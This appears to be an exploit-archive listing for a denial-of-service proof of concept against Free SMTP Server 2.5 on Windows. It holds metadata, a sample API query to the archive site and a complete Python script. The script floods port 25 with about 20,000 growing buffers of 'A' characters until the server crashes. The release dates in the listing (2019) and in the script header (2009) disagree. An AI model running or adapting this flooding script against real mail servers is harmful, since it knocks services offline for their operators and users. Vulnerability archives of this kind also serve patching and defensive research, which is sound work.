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"Free SMTP Server 2.5 - Denial of Service (PoC)"

Author

"Metin Yunus Kandemir"

Platform

windows

Release date

2019-05-29

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Release Date Title Type Platform Author
2019-05-29 "Free SMTP Server 2.5 - Denial of Service (PoC)" dos windows "Metin Yunus Kandemir"
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46937/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46937/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46937/41357/free-smtp-server-25-denial-of-service-poc/download/", "exploit_id": "46937", "exploit_description": "\"Free SMTP Server 2.5 - Denial of Service (PoC)\"", "exploit_date": "2019-05-29", "exploit_author": "\"Metin Yunus Kandemir\"", "exploit_type": "dos", "exploit_platform": "windows", "exploit_port": null}
                                            

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#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
# Date: February 3, 2009
# Exploit Author: Metin Kandemir (kandemir)
# Vendor Homepage: http://www.softstack.com/freesmtp.html
# Software Link: https://free-smtp-server.en.uptodown.com/windows/download
# Version: 2.5
# Tested on: Windows 7 Service Pack 1 x64
# Software Description : Free SMTP server program to send emails directly from PC.
# ==================================================================
# The SMTP Server will crash when this code is run on localhost. 

import socket

a=1
buffer = ["A"]
while a <= 20000:
        a = a+1
        buffer.append("A"*a)


for string in buffer:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect =  s.connect(('127.0.0.1',25))
        s.send(string)